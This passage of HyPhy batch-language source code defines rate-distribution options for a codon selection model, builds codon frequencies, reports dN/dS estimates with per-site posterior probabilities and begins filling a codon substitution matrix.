1e25,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t   P*CGammaDist(_x_,alpha+1,beta)*alpha/beta + (1-P)*CGammaDist(_x_,alpha2+1,alpha2));\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif (rateType == 6)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tglobal betaP = 1;\n\t\t\t\t\t\t\t\tglobal betaQ = 1;\n\t\t\t\t\t\t\t\tbetaP:>0.05;betaP:<85;\n\t\t\t\t\t\t\t\tbetaQ:>0.05;betaQ:<85;\n\t\t\t\t\t\t\t\tcategory c = (resp, EQUAL, MEAN, _x_^(betaP-1)*(1-_x_)^(betaQ-1)/Beta(betaP,betaQ), IBeta(_x_,betaP,betaQ), 0 , \n\t\t\t\t\t\t \t\t\t \t\t  1,IBeta(_x_,betaP+1,betaQ)*betaP/(betaP+betaQ));\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif (rateType == 7)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tglobal W = 2;\n\t\t\t\t\t\t\t\t\t/*W:>1;*/\n\t\t\t\t\t\t\t\t\tglobal P\t = 1-1/(resp+1);\n\t\t\t\t\t\t\t\t\tglobal betaP = 1;\n\t\t\t\t\t\t\t\t\tglobal betaQ = 2;\n\t\t\t\t\t\t\t\t\tbetaP:>0.05;\n\t\t\t\t\t\t\t\t\tbetaQ:>0.05;\n\t\t\t\t\t\t\t\t\tbetaP:<85;\n\t\t\t\t\t\t\t\t\tbetaQ:<85;\n\t\t\t\t\t\t\t\t\tP:>0.0000001;\n\t\t\t\t\t\t\t\t\tP:<0.9999999;\n\t\t\t\t\t\t\t\t\tcategFreqMatrix = {resp+1,1};\n\t\t\t\t\t\t\t\t\tfor (k=0; k<resp; k=k+1)\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\tcategFreqMatrix[k]:=P/resp__;\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\tcategFreqMatrix[resp]:=(1-P);\n\t\t\t\t\t\t\t\t\tcategory c = (resp+1, categFreqMatrix, MEAN, \n\t\t\t\t\t\t\t\t\t\t\t\t\tP*_x_^(betaP-1)*(1-Min(_x_,1))^(betaQ-1)/Beta(betaP,betaQ)+W-W, \n\t\t\t\t\t\t\t\t\t\t\t\t\tP*IBeta(Min(_x_,1),betaP,betaQ)+(1-P)*(_x_>=W), \n\t\t\t\t\t\t\t\t\t\t\t\t\t0,1e25,\n\t\t\t\t\t\t\t\t\t\t\t\t\tP*IBeta(Min(_x_,1),betaP+1,betaQ)*betaP/(betaP+betaQ)+(1-P)*W*(_x_>=W));\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tif (rateType == 8)\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\tglobal P\t = .5;\n\t\t\t\t\t\t\t\t\t\tglobal betaP = 1;\n\t\t\t\t\t\t\t\t\t\tglobal betaQ = 2;\n\t\t\t\t\t\t\t\t\t\tbetaP:>0.05;betaP:<85;\n\t\t\t\t\t\t\t\t\t\tbetaQ:>0.05;betaQ:<85;\n\t\t\t\t\t\t\t\t\t\tglobal alpha = .5;\n\t\t\t\t\t\t\t\t\t\tglobal beta  = 1;\n\t\t\t\t\t\t\t\t\t\talpha:>0.01;alpha:<100;\n\t\t\t\t\t\t\t\t\t\tbeta:>0.01;\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\tbeta:<200;\n\t\t\t\t\t\t\t\t\t\tP:<1;\n\t\t\t\t\t\t\t\t\t\tcategory c = (resp, EQUAL, MEAN, \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tP*_x_^(betaP-1)*(1-Min(_x_,1))^(betaQ-1)/Beta(betaP,betaQ)+(1-P)*GammaDist(_x_,alpha,beta), \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tP*IBeta(Min(_x_,1),betaP,betaQ)+(1-P)*CGammaDist(_x_,alpha,beta), \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t0,1e25,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tP*betaP/(betaP+betaQ)*IBeta(Min(_x_,1),betaP+1,betaQ)+(1-P)*alpha/beta*CGammaDist(_x_,alpha+1,beta));\n\t\t\t\t\t\t\t\t\t}\t\n\t\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\tif (rateType == 9)\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\tglobal P\t = .5;\n\t\t\t\t\t\t\t\t\t\t\tP:<1;\n\t\t\t\t\t\t\t\t\t\t\tglobal betaP = 1;\n\t\t\t\t\t\t\t\t\t\t\tbetaP:>0.05;betaP:<85;\n\t\t\t\t\t\t\t\t\t\t\tglobal betaQ = 2;\n\t\t\t\t\t\t\t\t\t\t\tbetaQ:>0.05;betaQ:<85;\n\t\t\t\t\t\t\t\t\t\t\tglobal alpha = .5;\n\t\t\t\t\t\t\t\t\t\t\talpha:>0.01;alpha:<100;\n\t\t\t\t\t\t\t\t\t\t\tglobal beta  = 1;\n\t\t\t\t\t\t\t\t\t\t\tbeta:>0.01;beta:<500;\n\t\t\t\t\t\t\t\t\t\t\tcategory c = (resp, EQUAL, MEAN, \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tP*_x_^(betaP-1)*(1-Min(_x_,1))^(betaQ-1)/Beta(betaP,betaQ)+(1-P)*(_x_>1)*GammaDist(Max(1e-20,_x_-1),alpha,beta), \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tP*IBeta(Min(_x_,1),betaP,betaQ)+(1-P)*CGammaDist(Max(_x_-1,0),alpha,beta), \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t0,1e25,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tP*betaP/(betaP+betaQ)*IBeta(Min(_x_,1),betaP+1,betaQ)+\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t(1-P)*(alpha/beta*CGammaDist(Max(0,_x_-1),alpha+1,beta)+CGammaDist(Max(0,_x_-1),alpha,beta)));\n\t\t\t\t\t\t\t\t\t\t}\t\t\t\t\n\t\t\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\tif (rateType == 10)\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\tglobal P\t = .5;\n\t\t\t\t\t\t\t\t\t\t\t\tglobal betaP = 1;\n\t\t\t\t\t\t\t\t\t\t\t\tglobal betaQ = 2;\n\t\t\t\t\t\t\t\t\t\t\t\tbetaP:>0.05;\n\t\t\t\t\t\t\t\t\t\t\t\tbetaQ:>0.05;\n\t\t\t\t\t\t\t\t\t\t\t\tbetaP:<85;\n\t\t\t\t\t\t\t\t\t\t\t\tbetaQ:<85;\n\t\t\t\t\t\t\t\t\t\t\t\tglobal mu = 3;\n\t\t\t\t\t\t\t\t\t\t\t\tglobal sigma  = .01;\n\t\t\t\t\t\t\t\t\t\t\t\tsigma:>0.0001;\n\t\t\t\t\t\t\t\t\t\t\t\tsqrt2pi = Sqrt(8*Arctan(1));\n\t\t\t\t\t\t\t\t\t\t\t\tP:<1;\n\n\t\t\t\t\t\t\t\t\t\t\t\tcategory c = (resp, EQUAL, MEAN, \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tP*_x_^(betaP-1)*(1-Min(_x_,1))^(betaQ-1)/Beta(betaP,betaQ)+\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t(1-P)*(_x_>=1)*Exp(-(_x_-mu)(_x_-mu)/(2*sigma*sigma))/(sqrt2pi__*sigma)/ZCDF((mu-1)/sigma), \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tP*IBeta(Min(_x_,1),betaP,betaQ)+(1-P)*(_x_>=1)*(1-ZCDF((mu-_x_)/sigma)/ZCDF((mu-1)/sigma)), \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t0,1e25,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tP*betaP/(betaP+betaQ)*IBeta(Min(_x_,1),betaP+1,betaQ)+\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t(1-P)*(_x_>=1)*(mu*(1-ZCDF((1-mu)/sigma)-ZCDF((mu-_x_)/sigma))+\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tsigma*(Exp((mu-1)(1-mu)/(2*sigma*sigma))-Exp((_x_-mu)(mu-_x_)/(2*sigma*sigma)))/sqrt2pi__)/ZCDF((mu-1)/sigma));\n\t\t\t\t\t\t\t\t\t\t\t}\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\tif (rateType == 11)\n\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\tglobal P\t = 1/3;\n\t\t\t\t\t\t\t\t\t\t\t\t\tglobal P1    = .5;\n\n\t\t\t\t\t\t\t\t\t\t\t\t\tglobal mu = 3;\n\t\t\t\t\t\t\t\t\t\t\t\t\tglobal sigma  = .5;\n\t\t\t\t\t\t\t\t\t\t\t\t\tsigma:>0.0001;\n\t\t\t\t\t\t\t\t\t\t\t\t\tglobal sigma1  = 1;\n\t\t\t\t\t\t\t\t\t\t\t\t\tsigma1:>0.0001;\n\n\t\t\t\t\t\t\t\t\t\t\t\t\tsqrt2pi = Sqrt(8*Arctan(1));\n\t\t\t\t\t\t\t\t\t\t\t\t\tP:<1;\n\t\t\t\t\t\t\t\t\t\t\t\t\tP1:<1;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\tcategFreqMatrix = {resp+1,1};\n\t\t\t\t\t\t\t\t\t\t\t\t\tfor (k=1; k<=resp; k=k+1)\n\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tcategFreqMatrix[k]:=(1-P)/resp__;\n\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\tcategFreqMatrix[0]:=P;\n\n\t\t\t\t\t\t\t\t\t\t\t\t\tcategory c = (resp+1, categFreqMatrix, MEAN,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t(1-P)((1-P1)*Exp(-(_x_-mu)(_x_-mu)/(2*sigma1*sigma1))/(sqrt2pi__*sigma1)/ZCDF(mu/sigma1)+\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t  P1*Exp(-(_x_-1)(_x_-1)/(2*sigma*sigma))/(sqrt2pi__*sigma)/ZCDF(1/sigma)), \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tP+(1-P)(_x_>1e-20)((1-P1)(1-ZCDF((mu-_x_)/sigma1)/ZCDF(mu/sigma1))+\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tP1*(1-ZCDF((1-_x_)/sigma)/ZCDF(1/sigma))), \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t0,1e25,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t(1-P)((1-P1)(mu*(1-ZCDF(-mu/sigma1)-ZCDF((mu-_x_)/sigma1))+\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tsigma1*(Exp(-mu*mu/(2*sigma1*sigma1))-Exp((_x_-mu)(mu-_x_)/(2*sigma1*sigma1)))/sqrt2pi__)/ZCDF(mu/sigma1)+\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tP(1-ZCDF(-1/sigma)-ZCDF((1-_x_)/sigma)+\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tsigma*(Exp(-1/(2*sigma*sigma))-Exp((_x_-1)(1-_x_)/(2*sigma*sigma)))/sqrt2pi__)/ZCDF(1/sigma))\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t );\n\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\telse\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\tif (rateType == 12)\n\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tglobal P\t = 1/3;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tglobal P1    = .5;\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tglobal mu = 3;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tglobal sigma  = .25;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tglobal sigma1 = .5;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tglobal sigma2 = 1;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tsigma:>0.0001;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tsigma1:>0.0001;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tsigma2:>0.0001;\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tsqrt2pi = Sqrt(8*Arctan(1));\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tP:<1;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tP1:<1;\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tcategory c = (resp, EQUAL , MEAN,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t2*P*Exp(-_x_^2/(2*sigma*sigma))+\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t(1-P)((1-P1)*Exp((_x_-mu)(mu-_x_)/(2*sigma2*sigma2))/(sqrt2pi__*sigma2)/ZCDF(mu/sigma2)+\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t  P1*Exp((1-_x_)(_x_-1)/(2*sigma1*sigma1))/(sqrt2pi__*sigma1)/ZCDF(1/sigma1)), \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tP*(1-2*ZCDF(-_x_/sigma))+\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t(1-P)((1-P1)(1-ZCDF((mu-_x_)/sigma2)/ZCDF(mu/sigma2))+\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t   P1*(1-ZCDF((1-_x_)/sigma1)/ZCDF(1/sigma1))), \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t0,1e25,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t2*P*sigma*(1-Exp(-_x_*_x_/(2*sigma*sigma)))/sqrt2pi__+\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t(1-P)((1-P1)(mu*(1-ZCDF(-mu/sigma2)-ZCDF((mu-_x_)/sigma2))+\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tsigma2*(Exp(-mu*mu/(2*sigma2*sigma2))-Exp((_x_-mu)(mu-_x_)/(2*sigma2*sigma2)))/sqrt2pi__)/ZCDF(mu/sigma2)+\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tP1(1-ZCDF(-1/sigma1)-ZCDF((1-_x_)/sigma1)+\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tsigma1*(Exp(-1/(2*sigma1*sigma1))-Exp((_x_-1)(1-_x_)/(2*sigma1*sigma1)))/sqrt2pi__)/ZCDF(mu/sigma1))\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t);\n\t\t\t\t\t\t\t\t\t\t\t\t\t}\t\n\t\t\t\t\t\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tif (rateType == 13)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tglobal sigma = .1;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tsigma:>0.0001;sigma:<10;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tsqrt2pi = Sqrt(8*Arctan(1));\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tglobal _x_:<1e200;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tcategory c = (resp, EQUAL, MEAN, \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tExp (-Log(_x_)*Log(_x_) / (2*sigma*sigma)) / (_x_*sigma*sqrt2pi__), /*density*/\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tZCDF (Log(_x_)/sigma), /*CDF*/\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t1e-200, \t\t\t   /*left bound*/\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t1e200, \t\t\t       /*right bound*/\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t  \t    Exp (.5*sigma^2)*ZCDF (Log(_x_)/sigma-sigma),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t  \t    CONSTANT_ON_PARTITION\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t  \t );\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tif (rateType == 14)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tglobal alpha = .5;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tglobal beta = 1;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\talpha:>0.01;alpha:<100;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tbeta:>0.01;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tbeta:<200;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tcategory c = (resp, EQUAL, MEAN, GammaDist(_x_,alpha,beta), CGammaDist(_x_,alpha,beta), 0 , \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t \t\t\t \t\t  1e25,CGammaDist(_x_,alpha+1,beta)*alpha/beta,CONSTANT_ON_PARTITION);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tglobal P1 = 1/3;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tglobal P2 = .5;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tP1:<1;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tP2:<1;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tglobal W1 = .25;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tglobal R1 = 4;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tglobal R2 = 3;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tR1:>1;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tR2:>1;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tcategFreqMatrix = {{P1,(1-P1)*P2, (1-P1)*(1-P2)}} ;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tcategRateMatrix = {{W1,W1*R1,W1*R1*R2}};\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tcategory c = (3, categFreqMatrix , MEAN, ,categRateMatrix, 0, 1e25, ,CONSTANT_ON_PARTITION);\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t}\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t}\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t}\t\t\t\t\n\t\t\t\t\t\t\t\t\t}\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\t\t\t\t\n\t\t\t\t}\t\n\t\t\t}\t\n\t\t}\t\n\t}\t\t\n\treturn 0;\n}\n\n/* ____________________________________________________________________________________________________________________*/\n\nfunction FrameText (frameChar,vertChar,parOff,theText)\n{\n\th = Abs (theText)+4;\n\tfprintf (stdout,\"\\n\");\t\n\tfor (k=0; k<parOff; k=k+1)\n\t{\n\t\tfprintf (stdout,\" \");\n\t}\n\tfor (k=0; k<h;k=k+1)\n\t{\n\t\tfprintf (stdout,frameChar);\n\t}\n\tfprintf (stdout,\"\\n\");\t\n\tfor (k=0; k<parOff; k=k+1)\n\t{\n\t\tfprintf (stdout,\" \");\n\t}\n\tfprintf (stdout,vertChar,\" \",theText,\" \",vertChar,\"\\n\");\n\tfor (k=0; k<parOff; k=k+1)\n\t{\n\t\tfprintf (stdout,\" \");\n\t}\n\tfor (k=0; k<h;k=k+1)\n\t{\n\t\tfprintf (stdout,frameChar);\n\t}\n\tfprintf (stdout,\"\\n\");\t\n\treturn 0;\n}\n\n/* ____________________________________________________________________________________________________________________*/\n\nfunction BuildCodonFrequencies4 (obsF)\n{\n\tPIStop = 1.0;\n\tresult = {ModelMatrixDimension,1};\n\thshift = 0;\n\n\tfor (h=0; h<64; h=h+1)\n\t{\n\t\tfirst = h$16;\n\t\tsecond = h%16$4;\n\t\tthird = h%4;\n\t\tif (_Genetic_Code[h]==10) \n\t\t{\n\t\t\thshift = hshift+1;\n\t\t\tPIStop = PIStop-obsF[first][0]*obsF[second][0]*obsF[third][0];\n\t\t\tcontinue; \n\t\t}\n\t\tresult[h-hshift][0]=obsF[first][0]*obsF[second][0]*obsF[third][0];\n\t}\n\treturn result*(1.0/PIStop);\n}\n\n/* ____________________________________________________________________________________________________________________*/\n\nfunction BuildCodonFrequencies12 (obsF)\n{\n\tPIStop = 1.0;\n\tresult = {ModelMatrixDimension,1};\n\thshift = 0;\n\n\tfor (h=0; h<64; h=h+1)\n\t{\n\t\tfirst = h$16;\n\t\tsecond = h%16$4;\n\t\tthird = h%4;\n\t\tif (_Genetic_Code[h]==10) \n\t\t{\n\t\t\thshift = hshift+1;\n\t\t\tPIStop = PIStop-obsF[first][0]*obsF[second][1]*obsF[third][2];\n\t\t\tcontinue; \n\t\t}\n\t\tresult[h-hshift][0]=obsF[first][0]*obsF[second][1]*obsF[third][2];\n\t}\n\treturn result*(1.0/PIStop);\n}\n/* ____________________________________________________________________________________________________________________*/\n\n\nfunction GetDistributionParameters (sigLevel)\n{\n\tGetInformation (distrInfo,c);\n\tD = Columns(distrInfo);\n\tE = 0.0;\n\tT = 0.0;\n\tsampleVar = 0.0;\n\tfor (k=0; k<D; k=k+1)\n\t{\n\t\tT = distrInfo[0][k]*distrInfo[1][k];\n\t\tE = E+T;\n\t\tsampleVar = T*distrInfo[0][k]+sampleVar;\n\t}\n\tsampleVar = sampleVar-E*E;\n\tfprintf  (LAST_FILE_PATH,\"\\n\\n------------------------------------------------\\n\\ndN/dS = \",E, \" (sample variance = \",sampleVar,\")\\n\");\n\tfor (k=0; k<D; k=k+1)\n\t{\n\t\tfprintf (LAST_FILE_PATH,\"\\nRate[\",Format(k+1,0,0),\"]=\",\n\t\t\t\t Format(distrInfo[0][k],12,8), \" (weight=\", Format(distrInfo[1][k],9,7),\")\");\n\t}\n\t\n\tfor (k=0; k<D; k=k+1)\n\t{\n\t\tif (distrInfo[0][k]>1) break;\n\t}\n\tif (k<D)\n\t/* have rates > 1 */\n\t{\n\t\tConstructCategoryMatrix(marginals,lf,COMPLETE);\n\t\t\n\t\tCC = Columns (marginals);\n\t\tif (rateType>=13)\n\t\t/* subset rate variation */\n\t\t{\n\t\t\tCC  = CC/numberOfSubsets;\n\t\t\t\n\t\t\tsubsetMarginals = {D,numberOfSubsets};\n\t\t\tfor (v=0; v<numberOfSubsets; v=v+1)\n\t\t\t{\n\t\t\t\tfor (l=0; l<D; l=l+1)\n\t\t\t\t{\n\t\t\t\t\tfor (h=0; h<CC; h=h+1)\n\t\t\t\t\t{\n\t\t\t\t\t\tsubsetMarginals[l][v] = subsetMarginals[l][v] + marginals[l][v*CC+h];\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tmarginals = subsetMarginals;\n\t\t\tsubsetMarginals = 0;\n\t\t\tfprintf  (LAST_FILE_PATH,\"\\n\\n------------------------------------------------\\n\\n Subsets with dN/dS>1 (Posterior cutoff = \",sigLevel,\")\\n\\n\");\n\t\t\tfor (v=0; v<numberOfSubsets; v=v+1)\n\t\t\t{\n\t\t\t\tsampleVar = 0;\n\t\t\t\tfor (h=0; h<D; h=h+1)\n\t\t\t\t{\n\t\t\t\t\tsampleVar = sampleVar+distrInfo[1][h]*marginals[h][v];\n\t\t\t\t}\n\t\t\t\tpositiveProb = 0;\n\t\t\t\tfor (l=k; l<D; l=l+1)\n\t\t\t\t{\n\t\t\t\t\tpositiveProb = positiveProb+distrInfo[1][l]*marginals[l][v];\n\t\t\t\t}\n\t\t\t\tpositiveProb = positiveProb/sampleVar;\n\t\t\t\tmarginals[0][v] = positiveProb;\n\t\t\t\tif (positiveProb>=sigLevel)\n\t\t\t\t{\n\t\t\t\t\tfprintf (LAST_FILE_PATH,Format (v+1,0,0),\" (\",positiveProb,\")\\n\");\n\t\t\t\t}\n\t\t\t}\n\t\t\tfprintf  (LAST_FILE_PATH,\"\\n\\n------------------------------------------------\\n\\n Subsets with dN/dS<=1 (Posterior cutoff = \",sigLevel,\")\\n\\n\");\n\t\t\tfor (v=0; v<numberOfSubsets; v=v+1)\n\t\t\t{\n\t\t\t\tif (marginals[0][v]<sigLevel)\n\t\t\t\t{\n\t\t\t\t\tfprintf (LAST_FILE_PATH,Format (v+1,0,0),\" (\",marginals[0][v],\")\\n\");\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\tfprintf  (LAST_FILE_PATH,\"\\n\\n------------------------------------------------\\n\\n Sites with dN/dS>1 (Posterior cutoff = \",sigLevel,\")\\n\\n\");\n\t\t\tfor (v=0; v<CC; v=v+1)\n\t\t\t{\n\t\t\t\tsampleVar = 0;\n\t\t\t\tfor (h=0; h<D; h=h+1)\n\t\t\t\t{\n\t\t\t\t\tsampleVar = sampleVar+distrInfo[1][h]*marginals[h][v];\n\t\t\t\t}\n\t\t\t\tpositiveProb = 0;\n\t\t\t\tfor (l=k; l<D; l=l+1)\n\t\t\t\t{\n\t\t\t\t\tpositiveProb = positiveProb+distrInfo[1][l]*marginals[l][v];\n\t\t\t\t}\n\t\t\t\tpositiveProb = positiveProb/sampleVar;\n\t\t\t\tmarginals[0][v] = positiveProb;\n\t\t\t\tif (positiveProb>=sigLevel)\n\t\t\t\t{\n\t\t\t\t\tfprintf (LAST_FILE_PATH,Format (v+1,0,0),\" (\",positiveProb,\")\\n\");\n\t\t\t\t}\n\t\t\t}\n\t\t\tfprintf  (LAST_FILE_PATH,\"\\n\\n------------------------------------------------\\n\\n Sites with dN/dS<=1 (Posterior cutoff = \",sigLevel,\")\\n\\n\");\n\t\t\tfor (v=0; v<CC; v=v+1)\n\t\t\t{\n\t\t\t\tif (marginals[0][v]<sigLevel)\n\t\t\t\t{\n\t\t\t\t\tfprintf (LAST_FILE_PATH,Format (v+1,0,0),\" (\",marginals[0][v],\")\\n\");\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tmarginals = 0;\n\t}\n\telse\n\t{\n\t\tfprintf  (LAST_FILE_PATH,\"\\n\\n------------------------------------------------\\n\\n No rate classes with dN/dS>1.\");\n\t}\n\tfprintf  (LAST_FILE_PATH,\"\\n\\n------------------------------------------------\\n\\n\");\n\treturn E;\n}\n\n/* ____________________________________________________________________________________________________________________*/\n\nfunction PopulateModelMatrix (ModelMatrixName&, EFV)\n{\n\tModelMatrixName = {ModelMatrixDimension,ModelMatrixDimension}; \n\n\thshift = 0;\n\t\n\tif (modelType==0)\n\t{\n\t\tfor (h=0; h<64; h=h+1)\n\t\t{\n\t\t\tif (_Genetic_Code[h]==10) \n\t\t\t{\n\t\t\t\thshift = hshift+1;\n\t\t\t\tcontinue; \n\t\t\t}\n\t\t\tvshift = hshift;\n\t\t\tfor (v = h+1; v<64; v=v+1)\n\t\t\t{\n\t\t\t\tdiff = v-h;\n\t\t\t\tif (_Genetic_Code[v]==10) \n\t\t\t\t{\n\t\t\t\t\tvshift = vshift+1;\n\t\t\t\t\tcontinue; \n\t\t\t\t}\n\t\t\t  \tif ((h$4==v$4)||((diff%4==0)&&(h$16==v$16))||(diff%16==0))\n\t\t\t  \t{\n\t\t\t  \t\tif (h$4==v$4)\n\t\t\t  \t\t{\n\t\t\t  \t\t\ttransition = v%4;\n\t\t\t  \t\t\ttransition2= h%4;\n\t\t\t  \t\t}\n\t\t\t  \t\telse\n\t\t\t  